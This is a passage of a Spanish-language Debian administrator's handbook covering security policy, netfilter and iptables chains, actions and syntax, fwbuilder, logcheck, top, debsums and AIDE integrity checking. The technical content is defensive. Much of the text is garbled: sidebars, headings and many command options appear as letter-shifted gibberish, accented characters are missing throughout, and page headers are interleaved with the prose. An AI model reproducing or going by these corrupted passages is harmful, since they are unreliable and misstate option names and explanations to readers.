Una vez que modelamos el riesgo, podemos comenzar a pensar en disear una poltica de seguridad real.

/05"
1PMUJDBT FYUSFNBT

)BZ DBTPT EPOEF MB FMFDDJO EF MBT BDDJPOFT OFDFTBSJBT QBSB QSPUFHFS VO TJT
UFNB FT FYUSFNBEBNFOUF TJNQMF
1PS FKFNQMP TJ FM TJTUFNB B QSPUFHFS FTU DPNQVFTUP TMP QPS VO FRVJQP EF
TFHVOEB NBOP FM DVBM UJFOF DPNP OJDP VTP FM TVNBS VOPT DVBOUPT ONFSPT
BM GJOBM EFM EB MB EFDJTJO EF OP IBDFS OBEB FTQFDJBM QBSB QSPUFHFSMP TFSB
CBTUBOUF SB[POBCMF &M WBMPS JOUSOTFDP EFM TJTUFNB FT CBKP &M WBMPS EF MPT EBUPT
FT DFSP ZB RVF OP FTUO BMNBDFOBEPT FO FM FRVJQP 6O BUBDBOUF QPUFODJBM RVF
TF JOGJMUSF FO FTUF kTJTUFNB{ TMP HBOBSB VOB DBMDVMBEPSB EJGDJM EF NBOFKBS
&M DPTUP EF BTFHVSBS UBM TJTUFNB QSPCBCMFNFOUF TFB NBZPS RVF FM DPTUP EF VOB
WJPMBDJO
&O FM PUSP FYUSFNP EFM FTQFDUSP RVJ[T MP RVF TF RVJFSF QSPUFHFS FT MB DPOGJEFO
DJBMJEBE EF MPT EBUPT TFDSFUPT EF MB NBOFSB NT DPNQMFUB QPTJCMF TVQFSBOEP
DVBMRVJFS PUSB DPOTJEFSBDJO &O FTUF DBTP VOB SFTQVFTUB BQSPQJBEB TFSB MB
EFTUSVDDJO UPUBM EF FTUPT EBUPT CPSSBS EF GPSNB TFHVSB MPT BSDIJWPT USJUV
SBS FO QFEBDJUPT MPT EJTDPT EVSPT Z MVFHP EJTPMWFSMPT FO DJEP Z BT TVDFTJWB
NFOUF
 4J IBZ VO SFRVJTJUP BEJDJPOBM EF RVF MPT EBUPT TFBO HVBSEBEPT QBSB
VO VTP GVUVSP BVORVF OP OFDFTBSJBNFOUF EJTQPOJCMFT DPO GBDJMJEBE
Z TJ FM
DPTUP BO OP FT VO GBDUPS FOUPODFT VO QVOUP EF QBSUJEB QPESB TFS BMNBDFOBS
MPT EBUPT FO QMBDBT EF BMFBDJO EF QMBUJOPJSJEJP BMNBDFOBEPT FO COLFSFT B
QSVFCB EF CPNCBT FO WBSJBT NPOUBBT EFM NVOEP DBEB VOP EF MPT DVBMFT FT
QPS TVQVFTUP
UPUBMNFOUF TFDSFUP Z QSPUFHJEP QPS FKSDJUPT FOUFSPT
&TUPT FKFNQMPT QPESO QBSFDFS FYUSFNPT TJO FNCBSHP TFSBO VOB SFTQVFTUB
BEFDVBEB B MPT SJFTHPT EFGJOJEPT FO MB NFEJEB FO RVF TPO FM SFTVMUBEP EF VO
QSPDFTP EF QFOTBNJFOUP RVF UJFOF FO DVFOUB MPT PCKFUJWPT B BMDBO[BS DPO MBT
MJNJUBDJPOFT RVF EFCFO DVNQMJSTF $VBOEP QSPWJFOFOF EF VOB EFDJTJO SB[PO
BEB OJOHVOB QPMUJDB EF TFHVSJEBE FT NFOPT SFTQFUBCMF RVF DVBMRVJFS PUSB

En la mayora de los casos, el sistema de informacin puede ser segmentado en subconjuntos


coherentes y en su mayora independientes. Cada subsistema tendr sus propios requisitos y
limitaciones, por lo que se deber llevar a cabo la evaluacin de riesgos y el diseo de la poltica de seguridad por separado para cada uno. Un buen principio a tener en cuenta es que un
permetro corto y bien definido es ms fcil de defender que una frontera larga y sinuosa. Se
debe disear en cosencuencia tambin la organizacin de la red: se deben concentrar los servicios sensibles en un pequeo nmero de mquinas y estas mquinas slo deben ser accesibles a
travs de un nmero mnimo de puntos de control, asegurar estos puntos de control ser ms
fcil que asegurar todas la mquinas sensibles contra la totalidad del mundo exterior. Es en este
punto que se hace evidente la utilidad del filtrado de red (incluyendo los firewalls). Puede implementar este filtrado con hardware dedicado, pero posiblemente una solucin ms simple y
flexible sea utilizar un firewall en software como el que se integra en el ncleo Linux.

$BQUVMP  4FHVSJEBE



 'JSFXBMM P FM GJMUSBEP EF QBRVFUFT


70-7&3 " -04
$*.*&/504
'JSFXBMM

6O GJSFXBMM FT VOB QJF[B EF FRVJQP EF DNQVUP DPO IBSEXBSF ZP TPXBSF RVF
PSEFOB MPT QBRVFUFT FOUSBOUFT P TBMJFOUFT EF MB SFE RVF WJFOFO IBDJB P EFTEF
VOB SFE MPDBM
Z TMP QFSNJUF FM QBTP EF BRVFMMPT RVF DPJODJEFO DPO DJFSUBT
DPOEJDJPOFT QSFEFGJOJEBT

Un firewall es una puerta de enlace de la red con filtro y slo es eficaz en aquellos paquetes que
deben pasar a travs de ella. Por lo tanto, slo puede ser eficaz cuando la nica ruta para estos
paquetes es a travs del firewall.
La falta de una configuracin estndar (y el lema proceso, no producto) explica la falta de
una solucin preconfigurada. Hay, sin embargo, herramientas que facilitan la configuracin del
firewall netfilter, con una representacin grfica de las reglas de filtrado. fwbuilder es sin duda
uno de los mejores de ellos.
$"40 &41&$'*$0
'JSFXBMM MPDBM

1VFEF SFTUSJOHJS VO GJSFXBMM B VOB NRVJOB FO QBSUJDVMBS B EJGFSFODJB EF VOB


SFE DPNQMFUB
FO DVZP DBTP TV GVODJO FT GJMUSBS P MJNJUBS FM BDDFTP B BMHVOPT
TFSWJDJPT P QPTJCMFNFOUF FWJUBS MBT DPOFYJPOFT EF TBMJEB EF TPXBSF JMFHUJNP
RVF VO VTVBSJP QPESB WPMVOUBSJBNFOUF P OP IBCFS JOTUBMBEP

El ncleo Linux incorpora el firewall netfilter. Puede controlarlo desde el espacio de usuario con
los programas iptables e ip6tables. La diferencia entre estos dos programas es que el primero
acta sobre la red IPv4, mientras que el segundo acta sobre IPv6. Debido a que ambas pilas
de protocolos de red probablemente continuarn con nosotors durante muchos aos, ambas
herramientas son necesarias y debern ser utilizadas en paralelo.

 $PNQPSUBNJFOUP EF OFUGJMUFS


netfilter utiliza cuatro tablas distintas que almacenan las reglas que regulan tres tipos de operaciones sobre los paquetes:

GJMUFS se refiere a las reglas de filtrado (aceptar, rechazar o ignorar un paquete);


OBU se refiere a la traduccin de las direcciones de origen o destino y puertos de los paquetes, tenga en cuenta que esta tabla slo existe para IPv4;
NBOHMF se refiere a otros cambios en los paquetes IP (incluyendo el campo ToS tipo de
servicio: Type of Service y opciones);
SBX permite otras modificaciones manuales en los paquetes antes de que lleguen al sistema de seguimiento de conexiones.
Cada tabla contiene listas de reglas llamadas cadenas. El firewall utiliza cadenas estndar para
manejar paquetes en funcin de circunstancias predefinidas. El administrador puede crear otras



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

cadenas, que slo se utilizarn cuando una cadena estndar haga referencia a ellas (ya sea directa
o indirectamente).
La tabla GJMUFS tiene tres cadenas estndar:

*/165: se refiere a paquetes cuyo destino es el propio firewall;


065165: se refiere a los paquetes que emite el firewall;
'038"3%: se refiere a los paquetes que transitan a travs del firewall (que no es ni su
origen ni su destino).
La tabla OBU tambin tiene tres cadenas estndar:

13&3065*/(: para modificar los paquetes tan pronto como llegan;


10453065*/(: para modificar los paquetes cuando estn listos para seguir su camino;
065165: para modificar los paquetes generados por el propio firewall.

'JHVSB 

$NP MMBNBS B MBT DBEFOBT EF OFUGJMUFS

Cada cadena es una lista de reglas, cada regla es un conjunto de condiciones y una accin que se
ejecutar cuando se cumplan las condiciones. Cuando se procesa un paquete, el firewall examina
la cadena apropiada, una regla tras otra; cuando se cumplen las condiciones de una regla salta
(de ah la opcin K en las rdenes) a la accin especificada para continuar el procesamiento. Los
comportamientos ms comunes estn estandarizados y existen acciones dedicadas para ellos.
Tomar una de estas acciones estndar interrumpe el procesamiento de la cadena ya que el destino del paquete ya est sellado (salvo una excepcin que se menciona a continuacin):
70-7&3 " -04
$*.*&/504
*$.1

*$.1 QSPUPDPMP EF NFOTBKFT EF DPOUSPM EF JOUFSOFU k*OUFSOFU $POUSPM .FT


TBHF 1SPUPDPM{
FT FM QSPUPDPMP VUJMJ[BEP QBSB USBOTNJUJS JOGPSNBDJO DPNQMF
NFOUBSJB FO MBT DPNVOJDBDJPOFT 1FSNJUF QSPCBS MB DPOFDUJWJEBE EF SFE DPO FM
QSPHSBNB ping FM DVBM FOWB VO NFOTBKF *$.1 EF QFUJDJO EF FDP kFDIP
SFRVFTU{ BM RVF FM EFTUJOBUBSJP EFCFSB SFTQPOEFS DPO VO NFOTBKF *$.1 EF
SFTQVFTUB EF FDP kFDIP SFQMZ{
 4FBMB B VO GJSFXBMM SFDIB[BOEP VO QBRVFUF

$BQUVMP  4FHVSJEBE



JOEJDB VO EFTCPSEBNJFOUP FO VO CGFS EF SFDFQDJO QSPQPOF VOB NFKPS SVUB


QBSB MPT QBRVFUFT TJHVJFOUFT EF MB DPOFYJO Z BT TVDFTJWBNFOUF 4F EFGJOJ
FTUF QSPUPDPMP FO WBSJPT EPDVNFOUPT 3'$ JOJDJBMNFOUF 3'$ Z 3'$ RVF
GVFSPO DPNQMFUBEPT Z FYUFOEJEPT B MB CSFWFEBE
http://www.faqs.org/rfcs/rfc777.html
http://www.faqs.org/rfcs/rfc792.html

" NPEP EF SFGFSFODJB VO CGFS EF SFDFQDJO FT VOB QFRVFB [POB EF NFNPSJB


RVF BMNBDFOB EBUPT FOUSF FM NPNFOUP RVF MMFHBO EFTEF MB SFE Z FM NPNFOUP FO
RVF TUPT TPO HFTUJPOBEPT QPS FM ODMFP 4J FTUB [POB FTU MMFOB OP TF QVFEFO
SFDJCJS OVFWPT EBUPT F *$.1 TFBMBS FM QSPCMFNB QBSB RVF FM FNJTPS QVFEF
SBMFOUJ[BS TV WFMPDJEBE EF USBOTGFSFODJB RVF JEFBMNFOUF EFCFSB BMDBO[BS VO
FRVJMJCSJP EFTQVT EF BMHO UJFNQP

5FOHB FO DVFOUB RVF BVORVF VOB SFE *1W QVFEF USBCBKBS TJO *$.1 *$.1W
FT FTUSJDUBNFOUF OFDFTBSJP QBSB VOB SFE *1W ZB RVF DPNCJOB WBSJBT GVODJPOFT
RVF FO FM NVOEP *1W TF FODPOUSBCBO EJTUSJCVJEBT FOUSF *$.1W *(.1 QSP
UPDPMP EF NFNCSFTB EF HSVQP EF JOUFSOFU k*OUFSOFU (SPVQ .FNCFSTIJQ 1SPUP
DPM{
Z "31 QSPUPDPMP EF SFTPMVDJO EF EJSFDDJPOFT k"EESFTT 3FTPMVUJPO 1SP
UPDPM{
 *$.1W FTU EFGJOJEP FO 3'$
http://www.faqs.org/rfcs/rfc4443.html

"$$&15: permitir al paquete seguir su camino;


3&+&$5: rechazar el paquete con un paquete de error ICMP (la opcion SFKFDUXJUI UJQP
de iptables permite seleccionar el tipo de error);
%301: borrar (ignorar) el paquete;
-0(: registrar (a travs de syslogd) un mensaje con una descripcin del paquete; tenga
en cuenta que esta accin no interrumpe el procesamiento y la ejecucin de la cadena contina con la regla siguiente, razn por la que registrar los paquetes rechazados necesita
una regla LOG y una regla REJECT/DROP;
6-0(: registrar un mensaje a travs de ulogd, que puede adaptarse mejor y ms eficientemente que syslogd para manejar de grandes cantidades de mensajes; tenga en cuenta
que esta accin, al igual que LOG, tambin contina el procesamiento de la siguiente regla
en la cadena que la llam;
nombre_de_cadena: saltar a la cadena dada y evaluar sus reglas;

3&563/: interrumpir el procesamiento de la cadena actual y regresar a la cadena que


la llam; en el caso de que la cadena actual sea una estndar no hay cadena que la haya
llamado, por lo que en su lugar se ejecutar la accin predeterminada (definida con la
opcin 1 de iptables);
4/"5 (unicamente en la tabla OBU, por lo tanto slo para IPv4 en Wheezy la compatibilidad de NAT con IPv6 apareci en la versin 3.7 del ncleo Linux): aplicar NAT de origen
(las opciones adicionales describen los cambios exactos que se aplicarn);
%/"5 (unicamente en la tabla OBU, por lo tanto, slo para IPv4 en Wheezy): aplicar NAT de
destino (las opciones adicionales describen los cambios exactos que se aplicarn);



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

."426&3"%& (unicamente en la tabla OBU, por lo tanto, slo para IPv4 en Wheezy):
aplicar enmascaramiento (un caso especial de NAT de origen);
3&%*3&$5 (unicamente en la tabla OBU, por lo tanto, slo para IPv4 en Wheezy): redirigir
un paquete a un puerto determinado del mismo firewall, puede utilizar esto para configurar un proxy web transparente que funciona sin ninguna configuracin en el lado del
cliente, dado que el cliente piensa que se conecta con el destinatario mientras que las
comunicaciones realmente pasan por el proxy.
Otras acciones, en particular las relativas a la tabla NBOHMF, estn fuera del alcance de este texto.
Podr encontrar una lista completa en iptables(8) y ip6tables(8).

 4JOUBYJT EF iptables F ip6tables


Los programas iptables e ip6tables permiten manipular las tablas, cadenas y reglas. Su opcin U UBCMB indica en qu tabla operar (la tabla GJMUFS de forma predeterminada).

SEFOFT
La opcin / DBEFOB crea una nueva cadena. La opcin 9 DBEFOB elimina una cadena vaca y sin
uso. La opcin " DBEFOB SFHMB aade una regla al final de la cadena dada. La opcin * DBEFOB
ONFSP@SFHMB SFHMB inserta una regla antes de la regla con nmero nmero_regla. La opcin %
DBEFOB ONFSP@SFHMB (o % DBEFOB SFHMB) elimina una regla en una cadena, la primera sintaxis
identifica la regla que se desea eliminar por su nmero, mientras que la segunda la identifica
por su contenido. La opcin ' DBEFOB vaca una cadena (borra todas sus reglas), si no menciona
ninguna cadena, eliminar todas las reglas de la tabla. La opcin - DBEFOB muestra las reglas de
la cadena. Por ltimo, la opcin 1 DBEFOB BDDJO define la accin predeterminada o poltica
para una cadena dada; tenga en cuenta que slo las cadenas estndar puede tener dicha poltica.

3FHMBT
Cada regla es expresada como DPOEJDJPOFT K BDDJO PQDJPOFT@BDDJO. Si describe varias condiciones en la misma regla, entonces el criterio es la conjuncin (y lgico) de las condiciones, que
son al menos tan restrictivas como cada condicin individual.
La condicin Q QSPUPDPMP coincide con el campo de protocolo del paquete IP. Los valores ms
comunes son UDQ, VEQ, JDNQ e JDNQW. Anteponer la condicin con un signo de exclamacin
niega la condicin, la cual se coincidir con todos los paquetes con un protocolo distinto al
especificado. Este mecanismo de negacin no es especfico de la opcin Q y se puede aplicar a
todas las otras condiciones tambin.
La condicin T EJSFDDJO o T SFENTDBSB coincide con la direccin de origen del paquete. Correspondientemente, E EJSFDDJO o ESFENTDBSB coincide con la direccin de destino.
La condicin J JOUFSGB[ selecciona los paquetes procedentes de la interfaz de red dada. P JOUFS
GB[ selecciona los paquetes que salen a travs de una interfaz especfica.

$BQUVMP  4FHVSJEBE



Hay condiciones ms especficas, dependiendo de las condiciones genricas descriptas anteriormente. Por ejemplo, puede completementar la condicin Q UDQ con condiciones sobre los
puertos TCP, clusulas como TPVSDFQPSU QVFSUP y EFTUJOBUJPOQPSU QVFSUP.
La condicin TUBUF FTUBEP coincide con el estado de un paquete en una conexin (necesitar el modulo de ncleo ipt_conntrack para el seguimiento de conexiones). El estado /&8
describe un paquete que inicia una nueva conexin; &45"#-*4)&% coincide con paquetes
pertenecientes a una conexin ya existente y 3&-"5&% coincide con paquetes iniciando una
nueva conexin relacionada con una ya existente (lo cual es til para las conexiones QEBUB
en el modo activo del protocolo FTP).
En la seccin anterior se enumeran las acciones disponibles, pero no sus opciones respectivas.
Por ejemplo, la accin -0( tiene las siguientes opciones:

MPHQSJPSJUZ, con un valor predeterminado de XBSOJOH, indica la prioridad de los mensajes syslog;
MPHQSFGJY permite especificar un prefijo de texto para diferenciar los mensajes registrados;
MPHUDQTFRVFODF, MPHUDQPQUJPOT y MPHJQPQUJPOT indican datos adicionales que
se integrarn en el mensaje: el nmero de secuencia TCP, opciones TCP y las opciones IP,
respectivamente.
La accin %/"5 ofrece la opcin UPEFTUJOBUJPO EJSFDDJOQVFSUP para indicar la nueva direccin IP y/o puerto de destino. De manera similar, 4/"5 proporciona UPTPVSDF EJSFDDJO
QVFSUP para indicar la nueva direccin IP y/o puerto de origen.
La accin 3&%*3&$5 (slo disponible is NAT est dispnible Wheezy esto significa slo para
IPv4) ofrece la opcin UPQPSUT QVFSUP T
para indicar el puerto o rango de puertos al que debe
redirigir los paquetes.

 $SFBDJO EF SFHMBT


Cada creacin de una regla requiere una invocacin de iptables/ip6tables. Escribir estas rdenes de forma manual puede ser tedioso, por lo que las llamadas se suelen almacenar en un
script para definir la misma configuracin automticamente cada vez que arranque la mquina.
Puede escribir este script a mano, pero tambin puede ser interesante prepararlo con una herramienta de alto nivel como fwbuilder.
El principio es simple. En el primer paso, es necesario describir todos los elementos que intervendrn en las reglas:
el propio firewall, con sus interfaces de red;
las redes, con sus rangos de direcciones IP correspondientes;
los servidores;
los puertos pertenecientes a los servicios alojados en los servidores.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Luego puede crear las reglas simplemente arrastrando y soltando acciones en los objetos. Unos cuantos mens contextuales pueden cambiar la condicin (negarla, por ejemplo). A continuacin, deber elegir la accin y configurarla.
En cuanto a IPv6, puede crear dos conjuntos de reglas diferentes para IPv4 e IPv6, o crear slo
una y dejar que fwbuilder traduzca las reglas segn las direcciones asignadas a los objetos.

'JHVSB 

7FOUBOB QSJODJQBM EF GXCVJMEFS

Luego fwbuilder puede generar un script de configuracin del firewall segn las reglas que
defini. Su arquitectura modular le da la capacidad para generar scripts dirigidos a diferentes
sistemas (iptables para Linux, ipf para FreeBSD y pf para OpenBSD).
Las versiones del paquete fwbuilder desde Squeeze contienen tanto la interfaz grfica y los mdulos para cada sistema de firewall (stos previamente estaban divididos en varios paquetes, uno
para cada sistema destino):
# aptitude install fwbuilder

 *OTUBMBDJO EF MBT SFHMBT FO DBEB BSSBORVF


Si el firewall est destinado a proteger una conexin de red PPP intermitente, la forma ms
sencilla de implementar el script es instalarlo como /etc/ppp/ip-up.d/0iptables (tenga en

$BQUVMP  4FHVSJEBE



cuenta que slo se tienen en cuenta los archivos sin un punto en su nombre). Por lo tanto, el
firewall se vuelve a cargar cada vez que se establece una conexin PPP.
En otros casos, la forma recomendada es registrar el script de configuracin en una directiva VQ
del archivo /etc/network/interfaces. En el siguiente ejemplo, el script est guardado como
/usr/local/etc/arrakis.fw.
&KFNQMP 

BSDIJWP interfaces MMBNBOEP BM TDSJQU EFM GJSFXBMM

auto eth0
iface eth0 inet static
address 192.168.0.1
network 192.168.0.0
netmask 255.255.255.0
broadcast 192.168.0.255
up /usr/local/etc/arrakis.fw

 4VQFSWJTJO QSFWFODJO EFUFDDJO EJTVBTJO


La monitorizacin es una parte integral de cualquier poltica de seguridad por varias razones.
Entre ellas, que el objetivo de la seguridad generalmente no se limita a garantizar la confidencialidad de los datos, sino que tambin incluye garantizar la disponibilidad de los servicios. Por
tanto, es imprescindible comprobar que todo funciona como se espera y detectar de manera
oportuna cualquier desvo en la conducta o cambio en la calidad de los servicios prestados.
Monitorizar la actividad puede ayudar con la deteccin de intentos de intrusin y permitir una
reaccin rpida antes que ocurran graves consecuencias. Esta seccin revisa algunas de las herramientas que puede utilizar para monitorizar varios aspectos de un sistema Debian. Como tal,
esto completa la seccin dedicada a la monitorizacin genrica del sistema en el Captulo 12:
Administracin avanzada pgina 308.

 .POJUPSJ[BDJO EF MPT SFHJTUSPT DPO logcheck


El programa logcheck monitoriza los archivos de registro, de forma predeterminada, cada hora. Enva los mensajes de registro inusuales en correos electrnicos al administrador para su
posterior anlisis.
La lista de archivos a monitorizar se almacena en /etc/logcheck/logcheck.logfiles; los valores predeterminados funcionan bien si no modific completamente el archivo /etc/syslog.
conf.
logcheck puede funcionar en una de tres modalidades ms o menos detalladas: paranoid, serv-

er y workstation. El primero es muy detallado y, probablemente, debera restringirlo a servidores


especficos como firewalls. El segundo (y predeterminado) es el modo recomendado para la may-



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

ora de los servidores. El ultimo est diseado para estaciones de trabajo y es an ms conciso
(filtra la mayora de los mensajes).
En los tres casos, probablemente debera personalizar logcheck para excluir algunos mensajes
adicionales (dependiendo de los servicios instalados) a menos que el administrador realmente
desee recibir a cada hora correos electrnicos enormes y poco interesantes. Dado que el mecanismo de seleccin de mensajes es bastante complejo, /usr/share/doc/logcheck-database/
README.logcheck-database.gz es una lectura aunque difcil necesaria.
Las reglas aplicadas se puede dividir en varios tipos:
aquellas que clasifican un mensaje como un intento de intrusin cracking (almacenado en un archivo en el directorio /etc/logcheck/cracking.d/);
aquellas que cancelan esta clasificacin (/etc/logcheck/cracking.ignore.d/);
aquellos que clasifican un mensaje como una alerta de seguridad (/etc/logcheck/
violations.d/);
aquellos que cancelan esta clasificacin (/etc/logcheck/violations.ignore.d/);
finalmente, aquellas que son aplicadas a los mensajes restantes (considerados como eventos del sistema).
13&$"6$*/
*HOPSBS VO NFOTBKF

$VBMRVJFS NFOTBKF NBSDBEP DPNP VO JOUFOUP EF JOUSVTJO P VOB BMFSUB EF


TFHVSJEBE TJHVJFOEP VOB SFHMB BMNBDFOBEB FO FM BSDIJWP /etc/logcheck/
violations.d/miarchivo
TMP QVFEF TFS JHOPSBEP QPS VOB SFHMB FO FM
BSDIJWP /etc/logcheck/violations.ignore.d/miarchivo P /etc/logcheck/
violations.ignore.d/miarchivo- extensin

Siempre se indicar un evento de sistema a menos que una regla en alguno de los directorios
en /etc/logcheck/ignore.d.{paranoid,server,workstation}/ indique que el evento debe
ser ignorado. Por supuesto, slo se tomarn en cuenta los directorios que corresponden a los
niveles de detalle igual o mayor al modo de funcionamiento seleccionado.
46(&3&/$*"
4VT SFHJTUSPT DPNP GPOEP EF
QBOUBMMB

" BMHVOPT BENJOJTUSBEPSFT MFT HVTUB WFS MPT NFOTBKFT EF SFHJTUSPT FO UJFNQP
SFBM QVFEF VUJMJ[BS MB PSEFO root-tail DPOUFOJEB FO FM QBRVFUF SPPUUBJM
QBSB
JOUFHSBS MPT SFHJTUSPT DPO FM GPOEP EFM FTDSJUPSJP HSGJDP &M QSPHSBNB xconsole
DPOUFOJEP FO FM QBRVFUF YBQQT
UBNCJO QVFEF NPTUSBSMPT FO VOB QFRVFB
WFOUBOB -PT NFOTBKFT TF PCUJFOFO EJSFDUBNFOUF EFTEF syslogd B USBWT EF MB
UVCFSB DPO OPNCSF /dev/xconsole

 .POJUPSJ[BDJO EF BDUJWJEBE


&O UJFNQP SFBM
es una herramienta interactiva que muestra una lista de los procesos en ejecucin. La ordenacin predeterminada es segn la cantidad de procesador utilizada y se puede obtener mediante la tecla P. Entre otros criterios de ordenacin podemos encontrar: segn la cantidad de
top

$BQUVMP  4FHVSJEBE



memoria ocupada (tecla M), segn el tiempo total de uso de procesador (tecla T) y segn el identificador de proceso (tecla N). La tecla k permite matar un proceso ingresando su identificador
de proceso. La tecla r permite ejecutar renice sobre un proceso, es decir: cambiar su prioridad.
Cuando el sistema aparenta estar sobrecargado, top es una herramienta excelente para ver qu
procesos estan compitiendo por el tiempo de procesador o consumiendo demasiada memoria.
En particular, a menudo es interesante comprobar si los procesos que estn consumiendo los
recursos se corresponden con los servicios reales que la mquina debe albergar. Por ejemplo,
un proceso desconocido ejecutndose como el usuario www-data debera llamar su atencin y
ser investigado puesto que posiblemente sea algn tipo de software instalado y ejecutado en el
sistema a travs de una vulnerabilidad en una aplicacin web.
es una herramienta muy flexible y su pgina de manual detalla cmo personalizar su presentacin y adaptarla a las necesidades y hbitos particulares.
top

Las herramientas grficas gnome-system-monitor y qps son similares al programa top y proporcionan aproximandamente las mismas prestaciones.

)JTUPSJBM
La carga del procesador, el trfico de red y el espacio libre en disco son datos que varan constantemente. A menudo es til disponer de un historial con su evolucin para determinar cmo
se utiliza exctamente la mquina.
Existen muchas herramientas dedicadas para esta tarea. La mayora puede obtener datos a
travs de SNMP (protocolo simple de gestin de red: Simple Network Management Protocol) para
centralizar esta informacin. Un beneficio adicional es que permite recoger datos de elementos
de red que pueden no ser equipos de propsito general, tal como switches o routers dedicados.
Este libro habla de Munin con cierto detalle (ver la Seccin 12.4.1, Configuracin de Munin
pgina 355 como parte del Captulo12: Administracin avanzada pgina 308. Debian tambin proporciona una herramienta similar: cacti. Su despliegue es algo ms complejo puesto
que se basa exclusivamente en SNMP. A pesar de que dispone de una interfaz web, entender
los conceptos involucrados en la configuracin requiere de todas formas un poco de esfuerzo.
Debera considerar como prerequisito leer la documentacin HTML (/usr/share/doc/cacti/
html/index.html).

"-5&3/"5*7"
mrtg

mrtg DPOUFOJEP FO FM QBRVFUF EFM NJTNP OPNCSF


FT VOB IFSSBNJFOUB NT BO

UJHVB " QFTBS EF BMHVOBT BTQFSF[BT QVFEF BHSVQBS EBUPT IJTUSJDPT Z NPTUSBS
MPT DPNP HSGJDPT *ODMVZF BMHVOPT TDSJQUT QBSB SFDPMFDUBS MPT EBUPT NPOJUPS
J[BEPT DPO NT GSFDVFODJB DPNP MB DBSHB EF QSPDFTBEPS FM USGJDP EF SFE FM
ONFSP EF JNQSFTJPOFT EF VOB QHJOB XFC FUD
-PT QBRVFUFT NSUHDPOUSJC Z NSUHVUJMT DPOUJFOFO TDSJQUT EF FKFNQMP RVF QVFEF
VUJMJ[BS EJSFDUBNFOUF



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 %FUFDDJO EF DBNCJPT


Una vez que el sistema est instalado y configurado, dejando al margen las actualizaciones de seguridad, normalmente no hay razn para que los archivos y directorios cambien con excepcin
de los datos. Por lo tanto, es interesante asegurarse que efectivamente los archivos no cambian:
debera investigar cualquier cambio inesperado. Esta seccin presenta algunas herramientas
capaces de monitorizar archivos y advertir al administrador en caso de que se produzca algn
cambio inesperado (o simplemente enumerar estos cambios).

"VEJUPSB EF QBRVFUFT debsums Z TVT MNJUFT


:&/%0 .4 "--
1SPUFDDJO DPOUSB MPT
DBNCJPT EF MPT
EFTBSSPMMBEPSFT PSJHJOBMFT

FT UJM QBSB EFUFDUBS DBNCJPT FO MPT BSDIJWPT RVF QSPWJFOFO EF VO


QBRVFUF EF %FCJBO QFSP FT JOUJM TJ FM QSPQJP QBRVFUF IB TJEP DPNQSPNFUJEP
QPS FKFNQMP TJ TF DPNQSPNFUJ MB SQMJDB %FCJBO 1SPUFHFSTF EF FTUF UJQP EF
BUBRVFT JNQMJDB VUJMJ[BS EFM TJTUFNB EF WFSJGJDBDJO EF GJSNB EJHJUBM EF "15 SF
WJTF MB 4FDDJO  k$PNQSPCBDJO EF MB BVUFOUJDJEBE EF VO QBRVFUF{ QHJOB

Z TMP JOTUBMBS QBRVFUFT EF VO PSJHFO DFSUJGJDBEP
debsums

debsums es una herramienta interesante ya que permite buscar qu archivos instalados han si-

do modificados (potencialmente por un atacante), pero debe tratarse con prudencia. En primer
lugar, porque no todos los paquetes de Debian proporcionan las huellas digitales requeridas por
este programa (si existen, se encuentran en /var/lib/dpkg/info/paquete.md5sums). Como
recordatorio: una huella digital es un valor, a menudo un nmero (aunque pueda estar en notacin hexadecimal), que contiene un tipo de firma de los contenidos de un archivo. Se calcula
esta firma mediante un algoritmo (MD5 o SHA1 son ejemplos muy conocidos) que ms o menos
garantizan que incluso el cambio ms pequeo en el contenido de un archivo implica un cambio en su huella digital; esto es conocido como efecto avalancha. Esto permite que una simple
huella digital numrica sirva como patrn para comprobar si se alter el contenido de un archivo. Estos algoritmos no son reversibles; en otras palabra, para la mayora de ellos, conocer la
huella digital no permite averiguar los contenidos correspondientes. Los avances matemticos
recientes parece que debilitan la verdad absoluta de estos principios, pero por el momento su
uso no se ha puesto en cuestn, ya que crear distintos contenidos que produzcan la misma huella
todava parece una tarea muy complicada.
Adicionalmente, se almacenan los archivos md5sums en el disco duro; por lo tanto un atacante
meticuloso actualizar estos archivos para que contengan las nuevas sumas de control de los
archivos sustituidos.
El primer inconveniente se puede evitar haciendo que debsums base sus comprobaciones en un
paquete .deb en lugar de confiar en el archivo md5sums. Pero esto requiere descargar previamente los archivos .deb correspondientes:
# apt-get --reinstall -d install `debsums -l`
[ ... ]
# debsums -p /var/cache/apt/archives -g

$BQUVMP  4FHVSJEBE



Tambin conviene notar que, en su configuracin predeterminada, debsums genera automticamente los archivos md5sums faltantes cada vez que instale un paquete utilizando APT.
Puede evitar el otro problema de forma similar: simplemente debe basar la comprobacin en
un archivo .deb impoluto. Debido a que esto implica disponer de los archivos .deb de todos los
paquetes instalados, y adems estar seguros de su integridad, la forma ms sencilla es obtenerlos de una rplica Debian. Esta operacin puede ser lenta y tediosa y, por lo tanto, no debe
considerarse como una tcnica proactiva a utilizar de forma regular.
# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s
Package`
[ ... ]
# debsums -p /var/cache/apt/archives --generate=all

Sepa que este ejemplo utiliza el programa grep-status del paquete dctrl-tools que no se instala
de forma predeterminada.

.POJUPSJ[BDJO EF BSDIJWPT "*%&


La herramienta AIDE (entorno avanzado de deteccin de intrusin: Advanced Intrusion Detection
Environment) permite comprobar la integridad de los archivos y detectar cualquier cambio
frente a una imagen guardada previamente del sistema vlido. Se almacena esta imagen como
una base de datos (/var/lib/aide/aide.db) que contiene la informacin relevante de todos
los archivos del sistema (huella digital, permisos, marcas temporales, etc.). Se inicializa esta base
de datos con aideinit; luego se la utiliza diariamente (por el script /etc/cron.daily/aide)
para comprobar que nada importante haya cambiado. Cuando se detectan cambios, AIDE los
almacena en archivos de registro (/var/log/aide/*.log) y enva lo encontrado en un email al
administrador.
&/ -" 13$5*$"
1SPUFDDJO EF MB CBTF EF
EBUPT

%FCJEP B RVF "*%& VUJMJ[B VOB CBTF EF EBUPT MPDBM QBSB DPNQBSBS FM FTUBEP
EF MPT BSDIJWPT MB WBMJEF[ EF TVT SFTVMUBEPT FTU BTPDJBEB EJSFDUBNFOUF B MB
WBMJEF[ EF MB CBTF EF EBUPT 4J VO BUBDBOUF DPOTJHVF PCUFOFS QFSNJTPT EF BE
NJOJTUSBEPS FO VO TJTUFNB DPNQSPNFUJEP QPES SFFNQMB[BS MB CBTF EF EBUPT Z
